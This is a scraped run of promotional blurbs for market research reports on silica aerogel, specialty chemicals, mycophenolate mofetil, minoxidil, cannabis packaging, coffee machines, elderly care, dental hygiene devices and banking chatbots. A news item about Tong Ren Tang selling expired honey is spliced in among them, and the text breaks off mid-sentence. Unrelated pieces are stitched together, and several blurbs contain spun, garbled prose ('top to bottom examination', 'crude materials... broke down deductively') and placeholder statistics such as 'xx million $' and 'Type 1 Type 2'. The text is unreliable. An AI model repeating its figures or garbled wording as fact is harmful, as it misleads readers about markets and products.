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This report gives top to bottom investigation of "Global Silica Aerogel Market Outlook 2019-2023" utilizing SWOT examination for Strength, Weakness, Opportunities and Threat to the organization. The Silica Aerogel Market report likewise gives an inside and out review of key players in the market organization.Global Silica Aerogel Market Overview:The Silica Aerogel industry has also suffered a certain impact, but still maintained a relatively optimistic growth, the past four years, Silica Aerogel market size to maintain the average annual growth rate of 16.14% from 150.00 million $ in 2015 to 235.00 million $ in 2018, BisReport analysts believe that the next few years, Silica Aerogel market size will be further expanded, we expect that by 2023, The market size of the Silica Aerogel will reach 430 million $.Available Exclusive Sample Copy of this Report @This family of materials that were light entered the stage at scale and has moved from research labs. Three years of work that repaid. Paris Innovation Review Before talking about the research aspects lets discuss aerogels striking on appearance. Properties were offered by some polymers, but nothing like these airgeles that responded perfectly was required. But these substances were connected on account of their structure a feature which gives a large contact area, in any way scales. By limiting the air, this construction, is what lets them show thermal conductivity.The major Factors of Global Silica Aerogel Market, such as awareness regarding the advantages of aerogel over the conventional insulation materials in these regions.The report also covers segment data: Product Type, Application, End User and Region.With the rise in few prototypes, however this beautiful project remained on the drawing board. For a very simple reason: the product was too costly and had no opportunity to find a market. But which had been the only way to learn and this allows our journey over 3 years on this aerogels topic. Finding uses, developing processes, researching hunches, erring, stepping aside, starting all over out of scratch. Learning and discover on at the field led to at the creation of a very large family of aerogels. Steven Kistler, at the pioneering researcher who started all of it in 30s, had already developed aerogels based on silica, alumina, chromium oxide and tin oxide.Based on Regions, North America is the largest market, followed by APAC. The growing use of Silica Aerogel materials in the automotive, marine, and aerospace applications in North America is expected to drive the Silica Aerogel market in the region during the forecast period.Buy this report online with 125 pages rundown of tables and figures and all around list of chapters on @Significant key players:1 Aspen Aerogels2 Cabot Corporation3 Aerogel Technologies4 Nano High-Tech5 Guangdong Alison Hi-TechSilica Aerogel market, by region:1 United States2 South America3 Europe4 Middle East5 AfricaGlobal Silica Aerogel market 2019-2023: From crude materials to downstream purchasers of this industry will be broke down deductively, the element of item dissemination and deals channel will be introduced too. In a word, this report will assist you with establishing a display of mechanical advancement and attributes of the Silica Aerogel market.Snatch your report @This investigation answers to the underneath key inquiries:1 Major improvement affecting the market?2 Where will every one of these improvements take the business in the mid to long haul?3 What are the up and coming sorts of Silica Aerogel?4 What are the developing end-use ventures for Silica Aerogel?5 What are the central point affecting the market development amid the figure time frame?In the end this report covers information and information on limit and generation outline creation piece of the pie investigation deals review supply deals and lack import fare and utilization and additionally cost value income and gross margin of Silica Aerogel.Significant points in table of contents:1 Silica Aerogel Product Definition2 Global Silica Aerogel Market Manufacturer Share and Market Overview3 Manufacturer Silica Aerogel Business Introduction4 Global Silica Aerogel Market Segmentation (Region Level)5 Global Silica Aerogel Market Segmentation (Product Type Level)6 Global Silica Aerogel Market Segmentation (Industry Level)7 Global Silica Aerogel Market Segmentation (Channel Level)8 Silica Aerogel Market Forecast 2019-20239 Silica Aerogel Segmentation Product Type10 Silica Aerogel Segmentation Industry11 Silica Aerogel Cost of Production Analysis12 ConclusionAbout usBusinessindustryreports.com is digital database of comprehensive market reports for global industries. As a market research company we take pride in equipping our clients with insights and data that holds the power to truly make a difference to their business. Our mission is singular and well-defined  we want to help our clients envisage their business environment so that they are able to make informed strategic and therefore successful decisions for themselves.Media contactBusiness industry reportspune  indiasales@businessindustryreports.com+19376349940Specialty Chemicals Market Current Trends and Top Benefits till 2024 | Chevron Phillips Chemical Company, BASF SE, Akzo Nobel N.V., Clariant International, Evonik Industries, Chemtura Corporation, Cytec Industries, etc

Specialty Chemicals Market

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Speciality chemicals are particular chemical products which provide a wide variety of effects on which many other industry sectors rely. Some of the categories of speciality chemicals are adhesives, agrichemicals, cleaning materials, colors, cosmetic additives, construction chemicals, elastomers, flavors, food additives, fragrances, industrial gases, lubricants, paints, polymers, surfactants, and textile auxiliaries. Other industrial sectors such as automotive, aerospace, food, cosmetics, agriculture, manufacturing, and textiles are highly dependent on such products.Specialty Chemicals Market provides an in-depth insight of Industry covering all important parameters including development trends, challenges, opportunities, key manufacturers and competitive analysis.Get Sample Copy of this Report atSpecialty Chemicals market: Company Coverage:Chevron Phillips Chemical Company, BASF SE, Akzo Nobel N.V., Clariant International Ltd, Evonik Industries AG, Chemtura Corporation, Cytec Industries Inc., Albemarle Corporatio, Ferro Corporation.Reports has published an innovate data titled Specialty Chemicals Market. The effective statistics about facts and figures are presented by using effective methodologies. Collectively, it focuses on historical records, and current trends along with future predictions. Different key players are aggregated on the basis of their manufacturing base and productivity.Specialty Chemicals market: Region Coverage: China, USA, Europe, Japan, Korea, India.Specialty Chemicals market: Product Type Coverage: Specialty Mining Chemicals, Water Treatment Chemicals, Adhesives, Electronic Chemicals, Specialty Paper Chemicals, Pesticides, Rubber Processing Chemicals, Advanced Ceramic Materials, Plastic Additives, Others.Specialty Chemicals market: Application Coverage: Construction, Automobile, Oil And Gas, Agriculture, Consumer And Retail, Others.Get discount on Purchase report atWhat are the market factors that are explained in the report?Market Dynamic Factors: The Specialty Chemicals Market research report provides comprehensive forecast estimations supported by the market trends, development patterns, and analytical techniques. Even a minute change within the product profile would result in major changes within the product model, development platforms, and production strategies and methodologies. The above mentioned factors are explained in detail in the research report.Key Market Features: The report evaluated key market features, including revenue, price, capacity, capacity utilization rate, gross, production, production rate, consumption, import/export, supply/demand, cost, market share, CAGR, and gross margin. In addition, the study offers a comprehensive study of the key market dynamics and their latest trends, along with pertinent market segments and sub-segments.Key Target Audience: The report is a helpful documentation and provides significant insights to customers, providers, distributors, suppliers, manufacturers, investors, and individuals who are interested in this market.Purchase this report @About UsReportsWeb is a one stop shop of market research reports and solutions to various companies across the globe. We help our clients in their decision support system by helping them choose most relevant and cost effective research reports and solutions from various publishers.The market research industry has changed in last decade. As corporate focus has shifted to niche markets and emerging countries, a number of publishers have stepped in to fulfil these information needs. We have experienced and trained staff that helps you navigate different options and lets you choose best research solution at most effective cost.Contact UsPhone : +1-646-491-9876E-Mail : sales@reportsweb.comPedestrians walk past a Tongrentang store in Beijing. [Photo provided to China Daily]

The Beijing Commission for Discipline Inspection of the Communist Party of China has condemned and punished executives of Tong Ren Tang, a famous maker of traditional Chinese medicine, after it was found to be selling expired honey, the Central Commission for Discipline Inspection said on Tuesday.

Jiangsu TV reported in mid-December that a honey provider for Beijing Tong Ren Tang Bee Industrya subsidiary of the Chinese herbal medicine brand founded in 1669had been accused of reusing expired honey in production in Yancheng, Jiangsu province. An investigation was launched by the company.

Because the company is registered in Beijing, the capital's discipline inspection commission began an investigation last month to apportion responsibility.

The investigation found that the Party committee of the company failed to supervise its subsidiaries, resulting in chaotic internal management and severe loss of State-owned assets, the CCDI said.

It also harmed the revered herbal medicine brand, it said.

Fourteen company executives, including Mei Qun, the Party chief and president of Tong Ren Tang Group, were criticized and five were demoted, dismissed or had their labor contracts terminated.

All Party disciplinary actions and government sanctions were completed before Feb 3, local authorities said.

Late on Monday, Tong Ren Tang Group said its bee industry subsidiary had been fined 14 million yuan ($2.07 million) by Yancheng's market regulation authorities.

The company said some management personnel had processed returned honey and changed the labeled date of production.

It said 2,284 bottles of expired honey had flowed into the market since October. According to the food and drug bureau in Beijing's Daxing district, where the company is registered, 3,300 bottles of honey have been confiscated.

The food business license of Beijing Tong Ren Tang Bee Industry has been revoked and it will not be able to apply for a new one for five years.

People involved in the case will be prevented from applying for business licenses in the food industry or engaging in food production or management work for five years.

In 2016, a third-party investigation found that a batch of Manuka honey products marketed by Tong Ren Tang and imported from New Zealand had been adulterated with syrup.Mycophenolate Mofetil Market to Reflect Robust Expansion during 2019  2023 | Top Key Manufacturers  Genentech, Teva, Sandoz, West Ward Pharma, Accord Healthcare, Mylan, Strides Pharma, Jubilant Cadista

Mycophenolate Mofetil Market

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Global Mycophenolate Mofetil Market Report 2019 report provides the newest industry data and industry future trends, allowing you to identify the products and end users driving Revenue growth and profitability. The industry report lists the leading competitors and provides the insights strategic industry Analysis of the key factors influencing the market.Global Mycophenolate Mofetil Market Overview:The report spread across 125 pages is an overview of the Global Mycophenolate Mofetil Market Report 2019. The Global Mycophenolate Mofetil Market is projected to grow at a healthy growth rate from 2019 to 2023 according to new research. The study focuses on market trends, leading players, supply chain trends, technological innovations, key developments, and future strategies.Available Exclusive Sample Copy of this Report @This report studies the Global Mycophenolate Mofetil Market over the forecast period of 2019 to 2023. The Global Mycophenolate Mofetil Market is growing continuously and expected to grow healthy CAGR by Forecast year 2023.According to the market report analysis, the Mycophenolate is used in combination with other medications to keep your body from attacking and rejecting your transplanted organ (such as kidney, liver, heart). It belongs to a class of medications called immunosuppressant. Mycophenolate Mofetil is immunosuppressant drugs (a class of drugs that reduce the strength of the bodys immune system) used in the treatment of several autoimmune diseases. Mycophenolate was used originally in the management of patients with organ transplants, but is now recommended in the treatment of many autoimmune diseases.The Global Mycophenolate Mofetil Market is segmented on the basis of Type, Application and Region. Based on the Type, the Global Mycophenolate Mofetil Market is classified into Capsule, Tablet, Suspension, Injection and others. On the basis of Application, the Global Mycophenolate Mofetil Market is sub-segmented into heart transplant, liver transplant, kidney transplant and others.This is an expert and top to bottom examination on the present condition of the Mycophenolate Mofetil Market. The report gives a fundamental review of the business including definitions, arrangements, applications and industry chain structure. The Mycophenolate Mofetil Market investigation is accommodated the worldwide markets including advancement patterns, focused scene examination, and key districts improvement status. Improvement strategies and plans are additionally examined and producing procedures and cost structures broke down. Mycophenolate Mofetil Market import / send out utilization, free market activity figures and cost and creation esteem net edges are additionally given.Purchase this report online with 125 Pages, List of Tables & Figures and in-depth Table of Contents on Global Mycophenolate Mofetil Market Report 2019 @Major Key Players:1 Genentech2 Teva3 Sandoz4 West Ward Pharmaceuticals5 Accord Healthcare6 Mylan7 Strides Pharma8 Jubilant Cadista9 Alkem Laboratories and More..............Geographically, this report is segmented into several key Regions, with production, consumption, revenue (million USD), market share and growth rate of Mycophenolate Mofetil in these regions, from 2013 to 2023 (forecast), covering:1 North America2 Europe3 China4 Japan5 Southeast Asia6 IndiaGrab Your Report at an Impressive Discount @This study answers to the below key questions:1 What will the market size be in 2023 and what will the growth rate be?2 What are the key market trends?3 What are the challenges to market growth?4 Who are the key players in this market?5 What are the market opportunities and threats faced by the key players?In the end, this report covers data and information on capacity and production overview, production, market share analysis, sales overview, supply, sales, and shortage, import, export and consumption as well as cost, price, revenue and gross margin of Mycophenolate Mofetil Market.Major Points in Table of Contents:Global Mycophenolate Mofetil Market Report 20191 Mycophenolate Mofetil Market Overview2 Global Mycophenolate Mofetil Market Competition by Manufacturers3 Global Mycophenolate Mofetil Capacity, Production, Revenue (Value) by Region (2013-2019)4 Global Mycophenolate Mofetil Supply (Production), Consumption, Export, Import by Region (2013-2019)5 Global Mycophenolate Mofetil Production, Revenue (Value), Price Trend by Type6 Global Mycophenolate Mofetil Market Analysis by Application7 Global Mycophenolate Mofetil Manufacturers Profiles/Analysis8 Mycophenolate Mofetil Manufacturing Cost Analysis9 Industrial Chain, Sourcing Strategy and Downstream Buyers10 Marketing Strategy Analysis, Distributors/Traders11 Market Effect Factors Analysis12 Global Mycophenolate Mofetil Market Forecast (2019-2023)13 Research Findings and Conclusion14 AppendixAbout usBusinessindustryReports.com is digital database of comprehensive market reports for global industries. As a market research company, we take pride in equipping our clients with insights and data that holds the power to truly make a difference to their business. Our mission is singular and well-defined  we want to help our clients envisage their business environment so that they are able to make informed, strategic and therefore successful decisions for themselves.Media ContactBusiness Industry ReportsPune  Indiasales@businessindustryreports.com+19376349940Global Minoxidil Market Size, Share & Growth Analysis 2019-2024 by Regions and Leading Players Changzhou Tianhua Pharmaceutical ,Sino BNP, Olon Spa

Minoxidil Market

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Researchreport.Biz Leading Research Firm has added the latest report on "Global Minoxidil Market by Manufacturers, Regions, Type, and Application, Forecast to 2024".The purpose of "Global Minoxidil Market" report is to provide the newest industry data and Minoxidil industry future trends, allowing consumers to identify the Minoxidil market Application, Type, Manufacturers and Regions, Minoxidil market Forecast period 2019-2024.The scope of Global Minoxidil Market Report:2019 "Worldwide Minoxidil Market" lists the ruling vendors and provides the significant industry analysis of the key terms influencing the Minoxidil market. Along with a consequential data of 2018, global Minoxidil industry report also provides industry volume and Minoxidil revenue (USD Million).The Minoxidil Market report encompasses forecasts, analysis, and discussion of trade facts, Minoxidil market size, evaluation of market share and profiles of the famous Minoxidil industry players on a global and regional level.Get a Sample Report @Analysis of Global Minoxidil Market:By Vendors Changzhou Tianhua Pharmaceutical Sino BNP Olon SpaAnalysis of Global Minoxidil Market:By Type Type 1 Type 2Analysis of Global Minoxidil Market:By Applications Application 1 Application 2Analysis of Global Minoxidil Market:By Regions* Europe Minoxidil Market(Germany, France, Italy, Russia and UK)* North America Minoxidil Market (Canada, USA and Mexico)* Latin America Minoxidil Market (Middle and Africa).* Minoxidil Market in Middle East and Africa (Saudi Arabia, UAE, Egypt, Nigeria and South Africa)* Asia-Pacific Minoxidil Market (South-east Asia, China, India, Korea and Japan).Enquire for Report here:Research analysis on Global Minoxidil Market 2019-2024 mainly covers the following segments acutely display the Minoxidil industry:Segment 1, to defines Minoxidil Introduction, product scope, Minoxidil market overview, market opportunities, market driving force and Minoxidil market risk;Segment 2, consists of a global Minoxidil market forecast, by regions, type, and application, Minoxidil with sales and revenue;Segment 3, provides the global Minoxidil market by regions, with sales, market revenue and share of Minoxidil, for each region;Segment 4, shows the competitive situation of Minoxidil among the top competitive players, with sales, revenue, and market share in Minoxidil Market;Segment 5 and 6 evaluates the Minoxidil market key regions, with revenue, sales, and market share of Minoxidil market by key countries in these regions;Segment 7 displays the worldwide Minoxidil market by type and application, with sales channel, Minoxidil market share and growth rate by type, Minoxidil industry application;Segment 8 to investigate the top competitive players of global Minoxidil, with revenue, Minoxidil industry sales, and price of Minoxidil;Segment 9 and 10 illustrates Minoxidil distributors, dealers, Minoxidil traders, sales channel, research findings and conclusion, appendix and data source.Questions answered in Global Minoxidil Industry Report:*How economy share fluctuations their worth from different Minoxidil manufacturers?*What's the present size of the Minoxidil industry both regional and global?*Which are the major final effect and consequence of the advantages analysis of Minoxidil industry?*Which would important players in the current Minoxidil market and what are their gifts in the total sales development?*Which global Minoxidil market trends, challenges, and important competitions of the economy have faced?*Minoxidil market prediction to grow from the prediction period from 2019-2024?*During forecast years which Minoxidil application sections will work well?*Which will be the long-term flaws of the Minoxidil business?The Report delivers beneficial advice for the individuals who are interested in the Minoxidil market.Access Full Information @This report covers historic data from 2013 to 2017; forecast for the period of 2020 to 2024 with actual base year 2018 and estimates of 2019.About Us:Researchreport.biz is one of the leading market research company which aims to serve the most excellent research to the various sectors of business. We are prominent in satisfying all kinds of market research needs.Contact US:701, Milton Avenue,East Ham,London. United kingdom.Pincode - 4E6 1BNEmail: amey@researchreport.bizTel: +44 20 8638 5058Website:Blog:Cannabis Packaging Market Growth Statistics to Make Multi-Billion Dollar Market during 2019  2023 | Top Leading Companys (Kush Bottles, LifeLoc Technologies, Maple Leaf Green World, Lexaria Bioscience, KAYA CANNABIS)

Cannabis Packaging Market

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Global Cannabis Packaging Market Report 2019 report provides the newest industry data and industry future trends, allowing you to identify the products and end users driving Revenue growth and profitability. The industry report lists the leading competitors and provides the insights strategic industry Analysis of the key factors influencing the market.Global Cannabis Packaging Market Overview:The report spread across 125 pages is an overview of the Global Cannabis Packaging Market Report 2019. The Global Cannabis Packaging Market is projected to grow at a healthy growth rate from 2019 to 2023 according to new research. The study focuses on market trends, leading players, supply chain trends, technological innovations, key developments, and future strategies.The Global Cannabis Packaging Market research report is the study prepared by analysts, which contain a detailed analysis of drivers, restraints, and opportunities along with their impact on the Cannabis Packaging Market growth.Available Exclusive Sample Copy of this Report @One of the important factors driving the growth of the Global Cannabis Packaging Market is increasing cannabis sales. The growth of the Cannabis Packaging Market and its legalization has led to the emergence of new users in the market. Also, the rapid popularity of alternative ingestion methods, such as weed-laced topical sprays and edibles has boosted the growth of the cannabis market in North America which will fuel the Global Cannabis Packaging Market growth.According to the market report analysis, the cannabis market in North America is like other legal consumer goods industries, such as food, tobacco or alcohol. Some cannabis-infused products already look strikingly similar to existing consumer products. Additionally to 'flower' which is the smokable leaf that most people usually associate with cannabis, there are many cannabis-infused products that range from edibles such as snacks and meals, to concentrates such as pills and oils, and beverages.As per the geographic analysis, Canada will be the major revenue contributor to the Cannabis Packaging Market in North America throughout the forecast period. The legalization of cannabis and relaxed regulatory norms for mass manufacturing of cannabis will drive the growth of this market in Canada.This is an expert and top to bottom examination on the present condition of the Cannabis Packaging Market. The report gives a fundamental review of the business including definitions, arrangements, applications and industry chain structure. The Cannabis Packaging Market investigation is accommodated the worldwide markets including advancement patterns, focused scene examination, and key districts improvement status. Improvement strategies and plans are additionally examined and producing procedures and cost structures broke down. Cannabis Packaging Market import / send out utilization, free market activity figures and cost and creation esteem net edges are additionally given.Purchase this report online with 125 Pages, List of Tables & Figures and in-depth Table of Contents on Global Cannabis Packaging Market Report 2019 @Major Key Players:1 Kush Bottles2 LifeLoc Technologies3 Maple Leaf Green World4 Lexaria Bioscience5 KAYA CANNABIS and More...............Geographically, this report is segmented into several key Regions, with production, consumption, revenue (million USD), market share and growth rate of Cannabis Packaging in these regions, from 2013 to 2023 (forecast), covering:1 North America2 Europe3 China4 Japan5 Southeast Asia6 IndiaGrab Your Report at an Impressive Discount @This study answers to the below key questions:1 What will the market size be in 2023 and what will the growth rate be?2 What are the key market trends?3 What is driving this market?4 What are the challenges to market growth?5 Who are the key vendors in this market space?6 What are the market opportunities and threats faced by the key vendors?7 What are the strengths and weaknesses of the key vendors?In the end, this report covers data and information on capacity and production overview, production, market share analysis, sales overview, supply, sales, and shortage, import, export and consumption as well as cost, price, revenue and gross margin of Cannabis Packaging Market.Major Points in Table of Contents:Global Cannabis Packaging Market Report 20191 Cannabis Packaging Market Overview2 Global Cannabis Packaging Market Competition by Manufacturers3 Global Cannabis Packaging Capacity, Production, Revenue (Value) by Region (2013-2019)4 Global Cannabis Packaging Supply (Production), Consumption, Export, Import by Region (2013-2019)5 Global Cannabis Packaging Production, Revenue (Value), Price Trend by Type6 Global Cannabis Packaging Market Analysis by Application7 Global Cannabis Packaging Manufacturers Profiles/Analysis8 Cannabis Packaging Manufacturing Cost Analysis9 Industrial Chain, Sourcing Strategy and Downstream Buyers10 Marketing Strategy Analysis, Distributors/Traders11 Market Effect Factors Analysis12 Global Cannabis Packaging Market Forecast (2019-2023)13 Research Findings and Conclusion14 AppendixAbout usBusinessindustryReports.com is digital database of comprehensive market reports for global industries. As a market research company, we take pride in equipping our clients with insights and data that holds the power to truly make a difference to their business. Our mission is singular and well-defined  we want to help our clients envisage their business environment so that they are able to make informed, strategic and therefore successful decisions for themselves.Media ContactBusiness Industry ReportsPune  Indiasales@businessindustryreports.com+19376349940Global Traditional Pump Coffee Machines Market Deep Analysis by Key Players Delonghi, Gaggia, Vonshef, Krups, Morphy Richards, Dualit, Smeg, Nestle Nespresso, Kenwood

Traditional Pump Coffee

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Coffee preparation is the process of turning coffee beans into a beverage. While the particular steps vary with the type of coffee and with the raw materials, the process includes four basic steps: raw coffee beans must be roasted, the roasted coffee beans must then be ground, the ground coffee must then be mixed with hot water for a certain time (brewed), and finally the liquid coffee must be separated from the used grounds.Coffee is usually brewed immediately before drinking. In most areas, coffee may be purchased unprocessed, or already roasted, or already roasted and ground. Coffee is often vacuum packed to prevent oxidation and lengthen its shelf life.Get Sample PDF Copy@There are 3 key segments covered in this report: geography segment, end use/application segment and competitor segment.For geography segment, regional supply, application-wise and type-wise demand, major players, price is presented from 2013 to 2023. This report coverss following regions:*North America*South America*Asia & Pacific*Europe*MEA (Middle East and Africa)The key countries in each region are taken into consideration as well, such as United States, China, Japan, India, Korea, ASEAN, Germany, France, UK, Italy, Spain, CIS, and Brazil etc.For end use/application segment, this report focuses on the status and outlook for key applications. End users also can be listed.For competitor segment, the report includes global key players of Traditional Pump Coffee Machines as well as some small players. The compnaies include:Delonghi, Gaggia, Vonshef, Krups, Morphy Richards, Dualit, Smeg, Nestle Nespresso, Kenwood, Andrew James, Lavazza, Sage by Heston Blumenthal, Fisher& Paykel, Philips, La Cimbali, Zojirushi, Bear, Scha et al.The information for each competitor includes:*Company Profile*Main Business Information*SWOT Analysis*Sales, Revenue, Price and Gross Margin*Market ShareWe also can offer customized report to fulfill special requirements of our clients.Buy Now@TABLE OF CONTENTSChapter 1 Executive SummaryChapter 2 Abbreviation and AcronymsChapter 3 Preface3.1 Research Scope3.2 Research Methodology3.2.1 Data Collection3.2.2 Data Analysis3.2.3 Data Validation3.3 Research Sources3.3.1 Primary Sources3.3.2 Secondary Sources3.3.3 AssumptionsChapter 4 Market Landscape4.1 Market Overview4.2 Classification/Types4.3 Application/End UsersChapter 5 Market Trend Analysis5.1 Introduction5.2 Drivers5.3 Restraints5.4 Opportunities5.5 ThreatsChapter 6 Industry Chain Analysis6.1 Upstream/Suppliers Analysis6.2 Traditional Pump Coffee Machines Analysis6.2.1 Technology Analysis6.2.2 Cost Analysis6.2.3 Market Channel Analysis6.3 Downstream Buyers/End UsersChapter 7 Latest Market Dynamics7.1 Latest News7.2 Merger and Acquisition7.3 Planned/Future Project7.4 Policy DynamicsChapter 8 Trading Analysis8.1 Export of Traditional Pump Coffee Machines by Region8.2 Import of Traditional Pump Coffee Machines by Region8.3 Balance of TradeAbout Us:Research Reports Inc. is one of the leading destinations for market research reports across all industries, companies, and technologies. Our repository features an exhaustive list of market research reports from thousands of publishers worldwide.Contact Us:US / Canada Toll Free: +18554192424, UK :+4403308087757 | Email: info@researchreportsinc.comElderly Care Market Competitive Analysis 2023: Brookdale, Encompass Health, Kindred Healthcare, Philips Benelux, BAYADA Home Health Care and Koninklijke Kentalis

Elderly Care Market

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Meticulous hard work of skilled forecasters, well-versed analysts and knowledgeable researchers gives outcome of such premium Elderly Care market research report. This report identifies and analyses the emerging trends along with major drivers, challenges and opportunities in the market for Healthcare industry.Global elderly care market is projected to grow at a CAGR of 6.4% in the forecast period 2018 to 2025.The global elderly care market is segmented based on products type into two segments; housing and assistive devices and pharmaceuticals. In 2018, housing and assistive devices products segment is valued to rule with the highest market share 2025, rising at the highest CAGR of 6.6%.The global elderly care market is segmented in service into homecare, institutional care and adult day care. In 2018, homecare segment is valued to rule with the highest market shares by 2025, rising at the highest CAGR.Key Manufacturers Analyzed In the Study: Brookdale Encompass Health Kindred Healthcare Philips Benelux BAYADA Home Health Care Extendicare Inc. Almost Family, Inc. LHC Group Genesis Healthcare System Compassus Trinity Health United States Medical Supply Koninklijke Kentalis Right at Home, LLC.Request a Sample Copy of this Report @Homecare is further sub segmented into health care, non-medical care. Healthcare is segmented into medical care, physiotherapy services, telehealth, palliative care and hospice care. Non-medical is segmented into personal care and rehabilitation others. Institutional care is segmented into hospital based, independent senior living, assisted living and nursing home.The global elderly care market is segmented in Application into heart diseases, respiratory, diabetes, osteoporosis, cancer, neurological, kidney diseases, arthritis and others. In 2018, heart diseases segment is valued to rule with highest market shares and rising at the highest CAGR.The global elderly care market is segmented based on service into three notable segments; Institutional Care, homecare and adult day care. Institutional care is further segmented into nursing home, hospital based, assisted living, and independent senior living. Homecare is segmented into healthcare and non-medical care. Healthcare is segmented into medical care, physiotherapy services, telehealth, palliative care, hospice care. Non-medical care is segmented into personal care, rehabilitation and others.The global elderly care market is segmented based on application into nine notable segments; heart diseases, cancer, kidney diseases, diabetes, arthritis, osteoporosis, neurological, respiratory and others.Click to View the Full Report TOC, Figure and Tables @Table of Content: Elderly Care Market1 Introduction2 Market Segmentation3 Market Overview4 Executive Summary5 Premium Insights6 Global Elderly Care Market, By Product Type7 Global Elderly Care Market, By Services8 Global Elderly Care Market, By Application9 Global Elderly Care Market, By Geography10 Elderly Care Population Split By Point Of Care11 Global Elderly Care Market, Company Landscape12 Company Profiles13 Related ReportsMake an Enquiry before Buy @Market Insights in the Report To analyze the market size of the market and infer the key trends from it. Industry Chain Suppliers of Elderly Care market with Contact Information To inspect the market based on product, market share and size of the product share. The various opportunities in the market. The report studies the key factors affecting the marketNote: If you have any special requirements, please let us know and we will offer you the report as you want.About Research for Markets:Research for Markets indulges in detailed and diligent research on different markets, trends and emerging opportunities in the successive direction to cater to your business needs. We have established the pillars of our flourishing institute on the grounds of Credibility and Reliability. RFM delve into the markets across Asia Pacific, North America, South America, Europe, Middle East and Africa.Contact:Mr. A NaiduResearch for MarketsTel: +44 8000-4182-37 (UK)Email: alan.naidu@researchformarkets.comDental Hygiene Devices Market Significant Growth by 2028 | Colgate-Palmolive Company, The Procter & Gamble Company, Koninklijke Philips N.V.

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Prominently operated by Colgate-Palmolive Company, Glaxo Smith Kline plc, Johnson & Johnson, P&G, Unilever plc, and Dentsply Sirona, the dental hygiene devices landscape is currently witnessing dominance of toothbrush sales. In recent years, the dramatic growth of the E-commerce sector is translating into elevating online sales of dental hygiene devices, which is posing strong competition facing the retail pharmacy segment.Toothbrush Records Highest Sale, Online Retail Firms upA recent market research study by Future Market Insights provides exclusive insights on the current and prospective performance of global dental hygiene devices market, in terms of sales volume as well as revenue.The report categorizes dental hygiene devices landscape into the toothbrush, scalers, polishing devices, and others on the basis of product type. Toothbrush has been the top-selling product in global dental hygiene devices landscape, attributed to widespread availability, extensive selection range, broad price range, and frequent innovation, explains a senior research analyst at FMI.Request to View a Sample Copy of This Report @Currently, toothbrush sales account for almost 60% of the total market revenue, whereas the report indicates that dental scalers and dental polishing devices are gradually gaining ground. The study projects over 5% year over year revenue growth for the latter two in 2019 and ahead.Retail pharmacies will remain the largest revenue generating channel of distribution in dental hygiene devices market. Whereas, online pharmacies are slated to present promising investment opportunities to dental hygiene devices manufacturers. The report projects that revenue generated through online retail would cross the US$ 1 billion mark in the next 3-4 years.Key Dynamics Prompt at Rising Oral Care ConcernsThe global dental hygiene devices market is low-value high-volume landscape, which remains the key factor that dampens investment. While baby boomers have been referred to as the primary consumers of dental hygiene devices, a growing percentage of juvenile and millennial people afflicted with one or more oral health problems points to the widening prospects of dental hygiene devices in coming years.Increasing dental disease prevalence, coupled with the increasingly sophisticating infrastructure of dental care across developing regions, is predominantly responsible for improving the scope of dental hygiene devices penetration. Dental caries, periodontal conditions, and oral cancer mark some of the most significant concerns related to oral healthcare, among the population.OTC (over-the-counter) nature of a majority of dental hygiene devices remains one of the key factors positively influencing their widespread availability and sales, says the FMI analyst.Adding further to it on the potential market growth barriers, the analyst says, As dental disorders are often non-life threatening, a notable portion of the patient population tends to initially prefer alternative treatments over dental hygiene devices. Price pressure and poor RoI are identified to be longstanding challenges for manufacturers of dental hygiene devices to initiate large scale investment projects.Asian Economies Create an Attractive Investment PocketThe report sheds light on all the aspects related to worldwide demand for dental hygiene devices and offers insights on the growth prospects projected for global dental hygiene devices market through the next few years. The report forecasts steady yet moderate yearly revenue growth of 4.7% in 2019, and around 1/3rd of the total market value is poised to be accounted for by the Asia Pacific. North America and Western Europe are likely to hold a collective share of more than a third of the global market value.APAC and Latin America are poised to remain highly lucrative regional markets for manufacturers of dental hygiene devices owing to consistently increasing demand for dental treatments in these regions.Although the widening patient pool is driving the steady demand for dental hygiene devices, a sizeable population based in developing countries is still undiagnosed and untreated. FMI research points to the presence of several untapped opportunities in a massive untreated population and thereby highlights high attractiveness of emerging regional markets for dental hygiene devices manufacturers.Besides frequent product innovations, key players in the global dental hygiene devices market maintain their strategic focus on the enhancement of distribution channel by strengthening existing marketing efforts across Asian markets, particularly in India, Singapore, and Malaysia.Know More Information about this Report, Ask The Analyst @Toothpaste Innovations Account for a Trending WaveThe report suggests that strategic collaborations, new product launches, and geographical expansion remain the highlights of developmental strategies adopted by key companies operating in dental hygiene devices landscape. Electric/battery-operated toothbrush innovations continue to shape new launch strategies of a majority of companies, whereas most of the market leaders are focusing on introducing novel toothpaste ranges specific to various oral care demands.GSK recently unveiled a range of Aquafresh Advance specifically for 9-12 years olds' demographic, targeting enamel protection and cavity prevention. The company's Consumer Healthcare arm also launched a new Sensodyne Rapid Relief range in the US.P&G also released a new toothpaste range recently, specifically for improved gum health.Dabur India Ltd. launched a modern variant of their flagship toothpaste range i.e. ayurvedic specialist toothpaste in gel format.About UsFuture Market Insights is the premier provider of market intelligence and consulting services, serving clients in over 150 countries. FMI is headquartered in London, the global financial capital, and has delivery centers in the U.S. and India.FMIs research and consulting services help businesses around the globe navigate the challenges in a rapidly evolving marketplace with confidence and clarity. Our customized and syndicated market research reports deliver actionable insights that drive sustainable growth. We continuously track emerging trends and events in a broad range of end industries to ensure our clients prepare for the evolving needs of their consumers.Contact UsU.S. Office616 Corporate Way, Suite 2-9018,Valley Cottage, NY 10989,United StatesT: +1-347-918-3531F: +1-845-579-5705Email: sales@futuremarketinsights.comBlog:FMI Blog:Web:Chatbot for Banking Market 2019 Global Analysis By Key Players  Ibm Corporation, Nuance Communications, Egain Corporation, Artificial Solutions, Cx Company

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WiseGuyReports.Com Publish a New Market Research Report On  Chatbot for Banking Market 2019 Global Analysis By Key Players  Ibm Corporation, Nuance Communications, Egain Corporation, Artificial Solutions, Cx Company.Chatbot for Banking Industry 2019Description:-The Chatbot for Banking industry has also suffered a certain impact, but still maintained a relatively optimistic growth, the past four years, Chatbot for Banking market size to maintain the average annual growth rate of xx from xx million $ in 2015 to xx million $ in 2018, The analysts believe that in the next few years, Chatbot for Banking market size will be further expanded, we expect that by 2023, The market size of the Chatbot for Banking will reach xx million $.Get a Sample Report @For more information or any query mail at sales@wiseguyreports.comThis Report covers the manufacturers data, including: shipment, price, revenue, gross profit, interview record, business distribution etc., these data help the consumer know about the competitors better. This report also covers all the regions and countries of the world, which shows a regional development status, including market size, volume and value, as well as price data.The region including: United States, Canada, South America, China, Japan, India, Korea, Germany, UK, France, Italy, Europe as a whole, Middle East Africa, GCC etc. region coverage is very comprehensive, also, the region can be changed as every clients special requirement, only Europe, only North America, only Asia, only single China or only 